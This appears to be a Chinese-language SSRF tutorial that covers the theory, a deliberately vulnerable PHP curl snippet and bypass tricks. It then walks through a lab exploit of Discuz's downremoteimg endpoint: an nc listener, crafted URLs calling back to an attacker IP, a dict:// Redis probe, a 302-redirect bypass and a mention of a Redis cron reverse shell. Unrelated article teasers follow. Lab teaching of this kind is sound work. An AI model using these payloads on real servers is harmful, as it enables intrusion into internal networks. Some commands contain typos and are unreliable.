web渗透-SSRF漏洞及discuz论坛网站测试

一、简介

ssrf(server-side request forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,ssrf是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

二、原理

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如:A网站,是一个所有人都可以访问的外网网站,b网站是一个他们内部的oa网站,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以通过a网站做中间人,访问b网站,从而达到攻击b网站需求。

三、SSRF用途

1,可以对外网,服务器所在内网,本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sql等)
5.利用file协议读取本地文件等。

四、SSRF漏洞寻找途径

1.能够对外发起网络请求的地方,就可能存在ssrf漏洞
2.从远程服务器请求资源(upload from url,import & export rss feed)
3.数据库内置功能(oracle,mongodb, mssql, postgres,couchdb)
4.webmail收取其他邮箱邮件(pop3/imap/smtp)
5.文件处理,编码处理,属性信息处理(ffpmg,lmagemaic,dogx.rdf.xml处理器)

五、漏洞代码

PHP

<?php
function curl($url)
{$ch =curl_init();curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch );
curl_close($ch);
}
$url =$_GET['url'];
curl($url);
?>

六、SSRF常见防御限制以及绕过

伪协议:
image.png
防御:

1 限制请求的端口只能为web端口,只允许访问http和https的请求。
2 限制域名只能为http://www.xxx.com
3 限制不能访问内网的ip,以防止对内网进行攻击。
4 屏蔽返回的详细信息。

绕过方式:

  解决:在网址后使用@符号再加上引入网址如:http://www.baidu.com@www.csdn.net(实际访问的是csdn网站)利用302跳转绕过利用短网址绕过

image.png

七、漏洞利用

靶场环境搭建(Centos 7)

Centos 7 基本命令
#  关闭防火墙systemctl stop firewalld

Apache安装
# 安装 
yum install -y httpd httpd-devel
#  启动服务
systemctl start httpd.service
# 查看状态systemctl status httpd.service
# 网站根目录:/var/www/html

image.png
image.png

Redis安装
# 地址: http://download.redis.io/releases/redis-3.0.4.tar.gz
wget http://download.redis.io/releases/redis-3.0.4.tar.gz
# 解压:
tar zvxf  redis-3.0.4.tar.gz
cd redis-3.0.4# 安装gcc
yum -y install gcc
# 源码安装
make
# 安装完成进入 src目录
cd src 
# 运行服务端./redis-server

image.png
连接:

reid-cli

image.png

Mysql安装
# 安装
yum -y install mariadb mariadb-server mariadb-libs mariadb-devel
# 启动服务
systemctl start mariadb.service
# 查看状态
systemctl status  mariadb.service

image.png

PHP安装
# 安装
yum -y install php
# PHP关联数据库
yum -y install php-mysql # 测试PHP
# 在 /var/www/html 目录中创建php文件并访问
# index.php
vim /var/www/html/index.php
# 内容
<h1>php</h1>
# 重启Apache
systemctl restart httpd.service
# 访问:http://IP:80

image.png

discuz
  • 简介

discuz是一套通用的社区论坛软件系统。自2001年6月面世以来,discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高,覆盖率最大的论坛软件系统之一。

  • 下载链接:https://www.tongyixiazai.com/soft/10001911.html
  • 注意:不知道有没有毒,下载后不建议直接解压,上传到虚拟机后再解压使用。
# 上传到/var/www/html并解压
unzip d.zip
# 切换权限
chown apache:apache -R upload
chmod  -R 777 upload

image.png

  • 访问:http:ip:80/upload

image.png

  • 存在问题: 不可写

image.png

  • 修改配置

# SELINUX=enforcing
# 修改为:
SELINUX=
# 重启虚拟机

image.png

  • 数据库密码默认设置为空:

image.png

  • 安装成功

image.png

测试
# Kali
#获取 靶机的redis信息curl -v "dict://192.168.198.135:6379/info"

image.png

redis计划任务反弹Shell

  • 核心漏洞:未授权访问漏洞

image.png

SSRF漏洞还原

  • 参考:https://www.cnblogs.com/yangxiaodi/p/6926450.html

攻击机IP:192.168.198.129
靶机IP:192.168.198.135

  • 首先,攻击机开启nc监听:
nc -lvp 6666

image.png

  • 靶机网页:
# 网址栏输入http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129:666/1.jpg[/img]
或:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.198.129:6666?data=he2I0.jpg[/img]

image.png

协议限制绕过方式:

  • 攻击机
# 步骤:
# 在Apache服务中建立一个PHP页面
# fpt.php
# header 网页跳转
# http:可以修改为任意协议
<?  phpheader("Localtion: http://192.168.198.129:6666/abc");
?>
# 开启监听
nc -lvp 6666

靶机:

#  网页访问:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129/ftp.php[/img]

扩展

  • 创建定时任务sh脚本文件内容

image.png

  • 端口转发命令:
# 将1111端口接收的数据转发到6666端口
socat -v top-listen:1111 ,fork tcp-connect:localhost:6666

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/361246.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

excel字符串列的文本合并

excel表有两列&#xff0c;第一列是“姓名”&#xff0c;第二列是“诊断”&#xff0c;有高血压、糖尿病等。我想出一个统计表&#xff0c;统计“姓名”&#xff0c;把某一个姓名的诊断不重复的用、拼接起来&#xff0c;比如“张三”的诊断为“点高血压”、糖尿病。我们可以用T…

适用于轨道交通专用的板卡式网管型工业以太网交换机

是网管型 CompactPCI板卡式冗余环网交换机。前面板带有6个 10/100/1000Base-T(X)M12接口。后面的CPCI接口有 8个10/100/1000Base-T (X) 以太网接口。 是特别为轨道交通行业EN50155标准要求而设计的坚固型交换机。它同时具有以下特性&#xff1a; ● 支持2线以太网距离扩展端口&…

springcloud第4季 springcloud-alibaba之nacos+openfegin+gateway+sentinel熔断限流【经典案例】

一 说明 1.1 架构说明 本案例实现原理&#xff1a; 采用alibaba的nacos&#xff0c;openfegin&#xff0c;sentinel&#xff0c;gateway等组件实现熔断限流。 主要理解sentinel的ResouceSentinel和fallback的区别联系。 ResourceSentinel 主要是页面配置熔断限流规则&#…

试析C#编程语言的特点及功能

行步骤&#xff0c;而不必创建新方法。其声明方法是在实例化委托基础上&#xff0c;加一对花括号以代表执行范围&#xff0c;再加一个分号终止语句。 2.3.3 工作原理 C#编译器在“匿名”委托时会自动把执行代码转换成惟一命名类里的惟一命名函数。再对存储代码块的委托进行设…

【干货】Vue3 组件通信方式详解

前言 毫无疑问&#xff0c;组件通信是Vue中非常重要的技术之一&#xff0c;它的出现能够使我们非常方便的在不同组件之间进行数据的传递&#xff0c;以达到数据交互的效果。所以&#xff0c;学习组件通信技术是非常有必要的&#xff0c;本文将总结Vue中关于组件通信的八种方式…

【博士每天一篇文献-算法】Fearnet Brain-inspired model for incremental learning

阅读时间&#xff1a;2023-12-16 1 介绍 年份&#xff1a;2017 作者&#xff1a;Ronald Kemker&#xff0c;美国太空部队&#xff1b;Christopher Kanan&#xff0c;罗切斯特大学 期刊&#xff1a; arXiv preprint 引用量&#xff1a;520 Kemker R, Kanan C. Fearnet: Brain-…

宠物领养救助管理系带万字文档java项目基于springboot+vue的宠物管理系统java课程设计java毕业设计

文章目录 宠物领养救助管理系统一、项目演示二、项目介绍三、万字项目文档四、部分功能截图五、部分代码展示六、底部获取项目源码带万字文档&#xff08;9.9&#xffe5;带走&#xff09; 宠物领养救助管理系统 一、项目演示 宠物领养救助系统 二、项目介绍 基于springbootv…

WEB与低代码:B/S架构在开发中的应用与优势

在互联网迅猛发展的今天&#xff0c;WEB应用已经成为人们日常生活和工作中不可或缺的一部分。随着技术的进步和需求的多样化&#xff0c;开发高效、灵活且易于维护的WEB应用变得尤为重要。B/S架构&#xff08;Browser/Server Architecture&#xff09;作为一种常见的WEB应用架构…

Chatopera 云服务实现类海尔服务智能客服的功能点比较 | Chatopera

在上一篇文章中&#xff0c;我分享了《智能客服体验分析&#xff0c;使用小程序海尔服务完成电器报修》。如果使用 Chatopera 云服务实现一个类似的应用&#xff0c;如何做呢&#xff1f;借助 Chatopera 云服务 可以实现一个智能客服&#xff0c;那么和现在的海尔服务小程序会有…

WordPress软件下载主题Inpandora

Inpandora&#xff08;中文名为潘多拉&#xff09;是一款基于软件下载站定制的WordPress主题&#xff0c;帮助站长使用WordPress快速搭建一个专业的WordPress软件博客。Inpandora这款WordPress主题可以说是因软件而生&#xff0c;从UI设计到后台设置功能&#xff0c;都充分体现…

云计算运维工程师的突发状况处理

云计算运维工程师在应对突发的故障和紧急情况时,需要采取一系列迅速而有效的措施来最小化服务中断的时间并恢复系统的稳定性。 以下是一些关键步骤和策略: 快速响应: 立即识别并确认故障的性质和范围。通知团队成员和相关的利益相关者,确保所有人了解当前情况。故障诊断:…

MD5加密接口

签名算法 app_key和app_secret由对方系统提供 MD5_CALCULATE_HASH_FOR_CHAR&#xff08;中文加密与JAVA不一致&#xff09; 代码&#xff1a; *获取传输字段名的ASCII码&#xff0c;根据ASCII码对字段名进行排序SELECT * FROM zthr0051WHERE functionid iv_functionidINTO …

想布局短视频赛道,云微客AI矩阵系统告诉你诀窍

随着人工智能技术的不断发展&#xff0c;越来越多的企业和个人创作者开始意识到智能化的重要性。而现阶段&#xff0c;随着短视频市场的膨胀扩大&#xff0c;批量成片、智能创作、定时发布是当下重要的趋势&#xff0c;企业如果想在短视频赛道分一杯羹&#xff0c;智能化的平台…

首次30米空间分辨率生成中国年度耕地栅格数据1986-2021

中国1986-2021年30米分辨率年度耕地数据集 数据介绍 精确、详细且及时的耕地范围信息对于粮食安全保障和环境可持续性至关重要。然而&#xff0c;由于农业景观的复杂性和足够训练样本的缺乏&#xff0c;在大范围下进行高时空分辨率的耕地动态监测仍然具有挑战性&#xff0c;尤其…

kafka进阶核心原理详解:案例解析(第11天)

系列文章目录 kafka高级&#xff08;重点&#xff09; kafka核心概念汇总 kafka的数据位移offset Kafka的基准/压力测试 Kafka的分片副本机制 kafka如何保证数据不丢失 kafka的消息存储及查询机制 生产者数据分发策略 消费者负载均衡机制 kafka的监控工具:kafka-eagle…

台灯学生用哪个牌子最好?五款学生专用台灯大全分享

随着科技的持续进步&#xff0c;电子产品无疑为我们的生活带来了极大的便利&#xff0c;同时也暗藏了不少隐患。其中最令广大家长忧心的便是孩子视力的健康&#xff0c;他们从小就面临着手机和电视等屏幕对孩子视力的潜在威胁。为了应对这一问题&#xff0c;家长们不遗余力地寻…

Python:基于TSFEL库对时间序列进行特征分析

1. TSFEL 时间序列作为主要TSFEL提取方法的输入传递&#xff0c;要么作为先前加载在内存中的数组传递&#xff0c;要么存储在数据集中的文件中。 由于TSFEL可以处理多维时间序列&#xff0c;因此随后应用了一套预处理方法&#xff0c;以确保信号质量足够和时间序列同步&#xf…

Linux上搭建邮件服务

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 &#x1f38f;&#xff1a;你只管努力&#xff0c;剩下的交给时间 &#x1f3e0; &#xff1a;小破站 Linux上搭建邮件服务 前言电子邮件的工作原理和基本组成部分1. 电子邮件的工作原理2. 电子邮件的…

Redis-实战篇-缓存雪崩

文章目录 1、缓存雪崩2、解决方案&#xff1a; 1、缓存雪崩 缓存雪崩是指在同一时段大量的缓存key同时失效或者Redis服务宕机&#xff0c;导致大量请求到达数据库&#xff0c;带来巨大压力。 2、解决方案&#xff1a; 给不同的key的TTL添加随机值利用Redis集群提高服务的可用性…

Git->git pull 和 git pull --rebase的详解

Git拉取代码的坑 格式&#xff1a;git xx指令 origin/远程仓库分支名称假如本地仓库和远程仓库都是空的 本地仓库向远程仓库提交一个文件 git commit -a -m "local first commit"&#xff1a;-a暂存修改文件到暂存区&#xff0c;准备本地提交。-m表示提交信息git pu…